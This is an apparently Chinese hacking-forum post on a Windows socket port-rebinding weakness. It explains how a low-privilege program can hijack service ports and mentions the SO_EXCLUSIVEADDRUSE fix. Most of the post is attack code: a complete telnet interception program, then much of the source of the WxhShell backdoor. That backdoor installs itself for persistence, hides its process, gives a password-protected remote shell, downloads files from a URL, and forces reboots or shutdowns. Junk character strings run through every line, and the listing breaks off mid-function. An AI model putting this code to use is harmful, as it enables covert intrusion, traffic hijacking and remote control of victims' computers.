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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [&e}@!8O`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  75%!R  
gg933TLu(Q  
  saddr.sin_family = AF_INET; gQ& FO~cr  
Tc{r}y[)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }y'KS:Jb  
@zE_fL  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CB|Z~_Bm  
gV A$P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KN5.2pp  
{eS!cZJ  
  这意味着什么?意味着可以进行如下的攻击: oveW)~4  
nNf/$h#;O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o: qB#8X  
\T>f+0=4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :h"Y>1P  
`*N2x\+X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lr=*Ty(V  
Z>'.+OW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wuI+$?  
e:&5Cvx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {=pf#E=  
{~VgXkjsC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $kg!XT{ V  
O]`CSTv'_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j$BM$q/c  
F?3a22Zg#  
  #include #TRPq>XzD  
  #include 7h,SX]4Q  
  #include %*zgN[/w  
  #include    gFJd8#6t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /&a[D 2  
  int main() VcA87*pel  
  { YaDr6)  
  WORD wVersionRequested; Sky!ZN'I  
  DWORD ret; Xrc0RWXB8  
  WSADATA wsaData; 7\<#z|  
  BOOL val; c)+IX;q-C  
  SOCKADDR_IN saddr; 0Kq\ oMn  
  SOCKADDR_IN scaddr; T-uI CMEf  
  int err; MYDAS-  
  SOCKET s; M{1't  
  SOCKET sc; ]=7}Y%6  
  int caddsize; l\JoWL  
  HANDLE mt; )FYz*:f>&  
  DWORD tid;   NbSkauF~b  
  wVersionRequested = MAKEWORD( 2, 2 ); nz~3o  
  err = WSAStartup( wVersionRequested, &wsaData ); = T!iM2  
  if ( err != 0 ) { U8;k6WT|  
  printf("error!WSAStartup failed!\n"); C([TolZ  
  return -1; >^{}Hjt  
  } |s+y]3-_  
  saddr.sin_family = AF_INET; C&D!TR!K  
   RKx" }<#+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YOd 0dKe  
Yc&yv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9ssTG4Sa  
  saddr.sin_port = htons(23); ">j}!n 8J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C5$1K'X@  
  { i.C+{QH  
  printf("error!socket failed!\n"); ULNU'6  
  return -1; ^/U-(4O05*  
  } UzWf_r  
  val = TRUE; Tm 6<^5t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S)T~vK(n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iG!tRNQ{y  
  { Dqs{ n?@n  
  printf("error!setsockopt failed!\n"); c R*D)'/tl  
  return -1; ~K5eO-  
  } X3 P~z8_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1.6yi];6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WnyEdYA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [2"a~o\  
7o-umZ}8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D37N*9}  
  { f![?og)I%  
  ret=GetLastError(); sB"Oi|#lk  
  printf("error!bind failed!\n"); 7jQOwzj  
  return -1; *VG#SK  
  } 40w,:$  
  listen(s,2); N7v7b<6  
  while(1) Tu"bbc  
  { bH%k)  
  caddsize = sizeof(scaddr); b3N1SC:Wn  
  //接受连接请求 SxI='z_S.f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -W38#_y/\  
  if(sc!=INVALID_SOCKET) omevF>b;  
  { -~n^?0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *<c, x8\s9  
  if(mt==NULL) 0Ihp`QGU:  
  { [+\=x[q  
  printf("Thread Creat Failed!\n"); 6vAq&Y{JB'  
  break; 9)9p<(b $  
  } hd^?mZ  
  } x1VBO.t=*  
  CloseHandle(mt); d}2tqPya  
  } !<BJg3  
  closesocket(s); >slD.rb]  
  WSACleanup(); hd0d gc  
  return 0; M=:!d$c  
  }   Wn6~x2LaV  
  DWORD WINAPI ClientThread(LPVOID lpParam) aDce Ohfx  
  { 6O"?wN%$  
  SOCKET ss = (SOCKET)lpParam; |Ii[WfFA|J  
  SOCKET sc; Aru=f~!  
  unsigned char buf[4096]; FOV%\=Hl  
  SOCKADDR_IN saddr; C-O~Oil  
  long num; <#/r.}.x  
  DWORD val; (&t741DN|  
  DWORD ret; HI&N&a9C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xMsSZ{j%5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .$&mWytw=  
  saddr.sin_family = AF_INET; =;A p+}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8S/SXyS  
  saddr.sin_port = htons(23); :59fb"^$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;\-f7!s  
  { OCHjQc  
  printf("error!socket failed!\n"); Bu7Ztt*  
  return -1; 14>WpNN  
  } tQ~vLPi$  
  val = 100; goBl~fqy0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IC"lsNq52  
  { r:;nv D  
  ret = GetLastError(); 2MY-9(no  
  return -1; F/O5Z?C?  
  } &BTgISYi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qV]p\/a.  
  { E0HXB1"  
  ret = GetLastError(); }9=X*'BO  
  return -1; -7-r~zmr  
  } ^#i3JMq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8G3CQ]G  
  { W;L<zFFbU)  
  printf("error!socket connect failed!\n"); \"k[y+O],4  
  closesocket(sc); 0#Ivo<V  
  closesocket(ss); 8k~$_AT>u  
  return -1; $mgamWNE8w  
  } 5\!t!FL_  
  while(1) n1!hfu7@s  
  { NSs"I]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 D/U=zDpiB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q~:H>;:G-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zP554Gr?  
  num = recv(ss,buf,4096,0); oW ! Z= ;  
  if(num>0) f wE b  
  send(sc,buf,num,0); z3-A2#c  
  else if(num==0) <e&88{jJ  
  break; ''D\E6c\  
  num = recv(sc,buf,4096,0); )T0%<(J  
  if(num>0) ;[nomxu|?  
  send(ss,buf,num,0); xD.Uh}:J  
  else if(num==0) +|0f7RB+R  
  break; IkWV|E  
  } oyw*Z_9~  
  closesocket(ss); a%nksuP3  
  closesocket(sc); =:fN  
  return 0 ; U~3uu &/r  
  } 1PGY/c  
5z/*/F=X  
,i]X^z5!  
========================================================== I}^Q u0ub  
r,cz yE/  
下边附上一个代码,,WXhSHELL xgp 6lO[  
2eC`^  
========================================================== vM3 b\yp  
P55QE+B  
#include "stdafx.h" =`st1K  
mv,p*0  
#include <stdio.h> sh#hDU/</  
#include <string.h> \:mZ)f3K=  
#include <windows.h> TKH!,Ow9A  
#include <winsock2.h> %>io$o  
#include <winsvc.h> npCiqO  
#include <urlmon.h> ioW&0?,Ym  
Z:(Zy  
#pragma comment (lib, "Ws2_32.lib") ]nIH0k3y  
#pragma comment (lib, "urlmon.lib") ;9&#Sb/  
;6)Onwx  
#define MAX_USER   100 // 最大客户端连接数 2#jBh   
#define BUF_SOCK   200 // sock buffer MA`.&MA.  
#define KEY_BUFF   255 // 输入 buffer B+VD53 V  
3a Y^6&  
#define REBOOT     0   // 重启 L$zB^lSM  
#define SHUTDOWN   1   // 关机 1XppC[))  
!+EE*-c1c  
#define DEF_PORT   5000 // 监听端口 E\Qm09Dj`<  
qrr[QEFW  
#define REG_LEN     16   // 注册表键长度 [z[<onFIq  
#define SVC_LEN     80   // NT服务名长度 /LK,:6  
2%Mgg,/~  
// 从dll定义API D$?}M>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [ !<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0Z4o3r[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w;p~|!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); alp}p  
P:OI]x4  
// wxhshell配置信息 q?##S'  
struct WSCFG { OF1fS\P<>  
  int ws_port;         // 监听端口 af-  
  char ws_passstr[REG_LEN]; // 口令 rYI7V?  
  int ws_autoins;       // 安装标记, 1=yes 0=no K@<%Vc>L(  
  char ws_regname[REG_LEN]; // 注册表键名 Lk8[fFa4  
  char ws_svcname[REG_LEN]; // 服务名 h uIvXl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ."u DM<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9ao GptgN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h_y;NB(w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o"gtWAGH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dg=!d)\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u*6Y>_iA  
umuE5MKY<  
}; $! R]!s  
%AJTU3=0  
// default Wxhshell configuration \- f^C}m  
struct WSCFG wscfg={DEF_PORT, &:?2IAe  
    "xuhuanlingzhe", A(@VjXl  
    1, 5Tg[-tl  
    "Wxhshell", ozOvpi:k3%  
    "Wxhshell", O<>cuW(l  
            "WxhShell Service", &_dM2lj{  
    "Wrsky Windows CmdShell Service", #I9hKS{  
    "Please Input Your Password: ", ""W*) rR   
  1, 1yd}F`{8UF  
  "http://www.wrsky.com/wxhshell.exe", "CTK%be{q/  
  "Wxhshell.exe" pd\x^F`sk.  
    }; igO,Ge8}  
Qq{>]5<  
// 消息定义模块 %] #XIr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SL$ bV2T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H"vkp~u]I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :vXlni7N[M  
char *msg_ws_ext="\n\rExit."; cCB YM  
char *msg_ws_end="\n\rQuit."; G$oi>zt3  
char *msg_ws_boot="\n\rReboot..."; mx=2lL`  
char *msg_ws_poff="\n\rShutdown..."; xgq `l#  
char *msg_ws_down="\n\rSave to "; n6C]JWG\/U  
_ %gu<Ys  
char *msg_ws_err="\n\rErr!"; EQ%,IK/  
char *msg_ws_ok="\n\rOK!"; De`p@`+<#~  
We)l_>G  
char ExeFile[MAX_PATH]; a+=.(g  
int nUser = 0; DFM~jlH  
HANDLE handles[MAX_USER]; (N^tg8Z<  
int OsIsNt; 6d{&1-@>  
(iJ9ekB  
SERVICE_STATUS       serviceStatus; 3aUWQP2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J.Fy0W@+k4  
8Cef ]@x  
// 函数声明 rE?Fp  
int Install(void); c`O(||UZT  
int Uninstall(void); 4apaUP=Jp  
int DownloadFile(char *sURL, SOCKET wsh); COc t d  
int Boot(int flag); GyQ9we~  
void HideProc(void); ~5]%+G  
int GetOsVer(void); <,+nS%a  
int Wxhshell(SOCKET wsl); &xLCq&j 1  
void TalkWithClient(void *cs);  Op5S'  
int CmdShell(SOCKET sock); ?2nF1>1  
int StartFromService(void); x2h5,.K  
int StartWxhshell(LPSTR lpCmdLine); fWs@ZCt  
'Da*MGu9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w#^z:7fI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !4mg]~G  
<! Z06  
// 数据结构和表定义 % 3Tz%>n  
SERVICE_TABLE_ENTRY DispatchTable[] = ;"w?@ELE  
{ jxqKPMf>@%  
{wscfg.ws_svcname, NTServiceMain}, x%RG>),U  
{NULL, NULL} uW0Dm#  
}; yllEg9L0z  
W|CZA  
// 自我安装 ?:DUsg  
int Install(void) d:8c}t2X  
{ ^_c6Op<F  
  char svExeFile[MAX_PATH]; #p7K2  
  HKEY key; %EE Q ^lm  
  strcpy(svExeFile,ExeFile); !g7lJ\B  
wfQ^3HL  
// 如果是win9x系统,修改注册表设为自启动 b Od<x >@  
if(!OsIsNt) { FH)_L1n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K n7A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &>A<{J@VL  
  RegCloseKey(key); i_f\dkol  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !hjA   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ox%p"xuP,  
  RegCloseKey(key); (sqI:a  
  return 0; e#odr{2#4u  
    } *!MMl]gU?  
  } 0s!';g Q  
} de_%#k1:L  
else { O)$Pvll  
tA8O( 9OV  
// 如果是NT以上系统,安装为系统服务 l05'/duuJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *!^l ZpF  
if (schSCManager!=0) enT[#f[{  
{ b'%)?{E  
  SC_HANDLE schService = CreateService I7XJPc4}   
  ( ?egZkg=U  
  schSCManager, Q N]y.(S)y  
  wscfg.ws_svcname, A/!"+Yfw  
  wscfg.ws_svcdisp, ps_q3Cyp  
  SERVICE_ALL_ACCESS, W<u,S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CB^.N>'  
  SERVICE_AUTO_START, xi[\2g+  
  SERVICE_ERROR_NORMAL, )F_nK f"a  
  svExeFile, -pW*6??+?  
  NULL, Q<>b3X>O  
  NULL, G| b I$   
  NULL, Sjp ]TWj  
  NULL, 3IG<Ot9  
  NULL "A]#KTP  
  ); yJ4ZB/ZQ  
  if (schService!=0) L*FQ`:lZ  
  { X/ lmj_v  
  CloseServiceHandle(schService); tID=I0D  
  CloseServiceHandle(schSCManager); "\+.S]~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6d(D >a  
  strcat(svExeFile,wscfg.ws_svcname); T^icoX=c4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <,*3Av  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2( U;{;\n*  
  RegCloseKey(key); ^*"i *e  
  return 0; >%H(0G#X  
    } 2b K1.BD  
  } /B<QYvv  
  CloseServiceHandle(schSCManager); K%ptRj$  
} ~P BJ~j+G  
} dh_c`{9  
^[6el_mj  
return 1; ..7 "<"uH  
} DY\~O  
GH \ Sy  
// 自我卸载 =O3)tm;  
int Uninstall(void) yoH,4,!G  
{ MML=J~1  
  HKEY key; %-woaj   
/2'l=R5#  
if(!OsIsNt) {  &2bqL!k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "7Z-ACyF5  
  RegDeleteValue(key,wscfg.ws_regname); *x:*Q \|  
  RegCloseKey(key); F+ %l= fs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ERy=lP~gV  
  RegDeleteValue(key,wscfg.ws_regname);  <H npI  
  RegCloseKey(key); r{ KQ3j9O  
  return 0; IGOEqUw*  
  } 82iFk`)T  
} sYbmL`{  
} SBI *[  
else { nS](d2  
i5aY{3!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G@txX '  
if (schSCManager!=0) ~@DdN5  
{ !t+ 3DMPn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4]#$YehM5  
  if (schService!=0) 7,zE?KG /  
  { wYr*('uT  
  if(DeleteService(schService)!=0) { d( yTz&u)  
  CloseServiceHandle(schService); ~F8xXW0  
  CloseServiceHandle(schSCManager); pxn@rN#*  
  return 0; !;;7:!)P  
  } < 0YoZSNGj  
  CloseServiceHandle(schService); f] _'icP  
  } 0xY</S  
  CloseServiceHandle(schSCManager); pzZ+!d  
} =*R6 O,  
} O7p=N8V  
L5'?.9]  
return 1; gD2P)7:  
}  VeSQq  
m VFo2^%v  
// 从指定url下载文件 N=\weuED  
int DownloadFile(char *sURL, SOCKET wsh) ^GlzKl   
{ IdM~' Q>\  
  HRESULT hr; >g m  
char seps[]= "/"; jweX"G54R  
char *token; rsq?4+\  
char *file; ac\([F-  
char myURL[MAX_PATH]; Gt+rVJ=v  
char myFILE[MAX_PATH]; 53 -O wjpx  
jtUqrJFlQ  
strcpy(myURL,sURL); K?Sy ?Kz  
  token=strtok(myURL,seps); )N*Jc @Y@  
  while(token!=NULL) '4SDAa2f  
  { l))Q/8H  
    file=token; \VA*3U^@  
  token=strtok(NULL,seps); D*j^f7ab  
  } #IJe q0TVB  
S@g(kIo]  
GetCurrentDirectory(MAX_PATH,myFILE); t cO{CI  
strcat(myFILE, "\\"); xP,b/T #a  
strcat(myFILE, file); X`1R&K;z^  
  send(wsh,myFILE,strlen(myFILE),0); XDHi4i47`o  
send(wsh,"...",3,0); 050,S`%<g8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tHAe  
  if(hr==S_OK) yRIXUCy  
return 0; ;s;3cC!  
else xW]65iav  
return 1; xK_oV+  
^,#m y<{  
} VZq~ -$  
]jYFrOMy4S  
// 系统电源模块 l&}}Io$?@  
int Boot(int flag) NSBcYObX  
{ b]fx  
  HANDLE hToken;  dOa9D  
  TOKEN_PRIVILEGES tkp; v+I-*,R  
{0 j_.XZ  
  if(OsIsNt) { [F'|KcE3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3%hq<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :PtZKt;~X  
    tkp.PrivilegeCount = 1; ~USt&?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1Qu@pb^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |JP19KFx'B  
if(flag==REBOOT) { 7Y R|6{@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y$_@C8?H  
  return 0; &!OEd ]  
} *ziR&Fr!  
else { yIrJaS-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eZaSV>27  
  return 0; I/%v`[  
}  ?C#E_  
  } GB35ouE  
  else { #c5jCy}n  
if(flag==REBOOT) { N+h05`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l?=\9y  
  return 0; jj1\oyQ8  
} '3Lu_]I-  
else { OQ7 `n<I<)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .w;kB}$YC  
  return 0; z9*e%$+S  
} :n QlS  
} IO:*F0  
h%krA<G9  
return 1; w4vV#C4X  
} Rd&DH_<+^  
'*`#xNu[  
// win9x进程隐藏模块 @p L9a1PJv  
void HideProc(void) >WIc"y.  
{ }!AS?  
+.Ij%S[Px5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e=WjFnK[x7  
  if ( hKernel != NULL ) FO5a<6  
  { REU,"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3f] ;y<Km  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pK@=]K~l0  
    FreeLibrary(hKernel); USEb} M`  
  } j/z=<jA  
>m>F {v  
return; ca{MJz'  
} _ i}W1i  
l2qvYNMw  
// 获取操作系统版本 N,c!1: b  
int GetOsVer(void) D2?H"PH  
{ )63 $,y-;$  
  OSVERSIONINFO winfo; dPwyiV0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L%T(H<G  
  GetVersionEx(&winfo); H*'1bLzq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iCE!TmDT  
  return 1; jYFJk&c  
  else \&5V';  
  return 0; !Aw^X} C  
} b,E?{uG  
D&" D[|@  
// 客户端句柄模块 y %Q. (  
int Wxhshell(SOCKET wsl) <Gi%+I@szl  
{ + cfEyiub  
  SOCKET wsh; A~2)ZdAN  
  struct sockaddr_in client; N)H "'#-  
  DWORD myID; 4b`E/L}2  
lL:a}#qxU  
  while(nUser<MAX_USER) N2v/<  
{ |QDoi[ *  
  int nSize=sizeof(client); m$fEk,d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (-21h0N[V  
  if(wsh==INVALID_SOCKET) return 1; .9r YBy  
sD:o 2(G*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U X@%1W!8  
if(handles[nUser]==0) kh5a>OX  
  closesocket(wsh); #$I@V4O;#  
else D\AVZ76F1  
  nUser++; Uj):}xgi'  
  } `m7<_#Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "`$,qvNN  
mb1mlsE  
  return 0; D%p*G5Bg3  
} C9!t&<\ }  
 bDkZU  
// 关闭 socket iT>u&0B-  
void CloseIt(SOCKET wsh) R}ki%i5|  
{ x b"z%.j  
closesocket(wsh);  :\\NK/"  
nUser--; :&IHdf0+  
ExitThread(0); jYHnJ}<  
} ^#Ha H  
7k( }U_v  
// 客户端请求句柄 An{>39{  
void TalkWithClient(void *cs) /MGapmqV9  
{ ]JrD@ Vy  
~U0%}Bbh  
  SOCKET wsh=(SOCKET)cs; Qt>K{ >9Cf  
  char pwd[SVC_LEN]; l88=  
  char cmd[KEY_BUFF]; 2R[v*i^S  
char chr[1]; a!9'yc  
int i,j; }a7d(7  
(/e&m=~  
  while (nUser < MAX_USER) { f#0HiE!  
 ]n!V  
if(wscfg.ws_passstr) { Mu\V3`j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T/_u;My;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =AIFu\9#a`  
  //ZeroMemory(pwd,KEY_BUFF); Q K]P=pE'C  
      i=0; Vu:ZG*^  
  while(i<SVC_LEN) { ;W,* B.~  
[';o -c"!  
  // 设置超时 hdPGqJE  
  fd_set FdRead; %Mda<3P  
  struct timeval TimeOut; (S~kyU!)0  
  FD_ZERO(&FdRead); jeu'K vhe  
  FD_SET(wsh,&FdRead); q Gk.7wf%  
  TimeOut.tv_sec=8; k=]e7~!  
  TimeOut.tv_usec=0; 79T_9}M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Uwc%'=@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X:GRjoa  
&C9IR,&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AYAU  
  pwd=chr[0]; \@gV$+{9  
  if(chr[0]==0xd || chr[0]==0xa) { 6}^x#9\  
  pwd=0; y2A\7&7  
  break; @t%da^-HS"  
  } 74Jx\(d  
  i++; \ND]x]5d  
    } \p4*Q}t  
cNWmaCLN$  
  // 如果是非法用户,关闭 socket $*C }iJsF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w2s`9  
} WLUgiW(0$  
U% h.l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h/Mt<5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TO6F  
=XfvPBA  
while(1) { 8<VDp Y  
!db=Iz5)  
  ZeroMemory(cmd,KEY_BUFF); D!`[fjs6A  
+(+lbCW/  
      // 自动支持客户端 telnet标准   xV> .]  
  j=0; Xf4QLw/r  
  while(j<KEY_BUFF) { /!]K+6>u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7X$CJ%6b  
  cmd[j]=chr[0]; mdc?~??8  
  if(chr[0]==0xa || chr[0]==0xd) { A;co1,]gR  
  cmd[j]=0; -H6 0T,o  
  break; G*=HjLmZg  
  } !VD$uT  
  j++; b] 5dBZ(  
    } {"p ~M7  
w7 MRuAJ4  
  // 下载文件 $bE" 3/uf  
  if(strstr(cmd,"http://")) { EXSH{P O+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ku[q #_7  
  if(DownloadFile(cmd,wsh)) LphCx6f,X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<-a>~^Tp  
  else OLG)D#m(4/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ,$6si  
  } 1I2n dt  
  else { C6e5*S  
hC$e8t60  
    switch(cmd[0]) { Es[3Ppz  
  lMgguu~qg  
  // 帮助 CEj_{uf|  
  case '?': { Te+#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K3zY-yIco  
    break; 3~sV-  
  } [Q T ;~5  
  // 安装 \n}%RD-Ce  
  case 'i': { ,LBj$U]e|E  
    if(Install()) 9O- otAGM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$uq60JK  
    else qjRbsD>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g0 Q,]\~  
    break; iZ]^JPU}  
    } rO}1E<g (  
  // 卸载 %p\ ~  
  case 'r': { Aw7N'0K9UN  
    if(Uninstall()) $?ss5: S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?8753{wk  
    else %g?M?D8Ud3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v} !lx)#  
    break; %RW*gUvc]  
    } (\qf>l+*  
  // 显示 wxhshell 所在路径 5B~]%_gZr  
  case 'p': { ^qL<=UC.  
    char svExeFile[MAX_PATH]; 'A[PUSEE  
    strcpy(svExeFile,"\n\r"); +P))*0(c_  
      strcat(svExeFile,ExeFile); }X9 &!A8z  
        send(wsh,svExeFile,strlen(svExeFile),0); P*k n}:  
    break; 3uw3 [ SR1  
    } N!7?D'y   
  // 重启 l(1.Ll  
  case 'b': { ` 0 @m,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OTYkJEC8\N  
    if(Boot(REBOOT)) H0b{`!'Fs:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6EY\  
    else { M[985bl  
    closesocket(wsh); bM'F8 Fi  
    ExitThread(0); 3_RdzW}f  
    } N(i.E5&9  
    break; o5]-Kuw`  
    } *lDVV,T'}w  
  // 关机 eJf]"-  
  case 'd': { 8A0a/ 7Lj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }#<Rs  
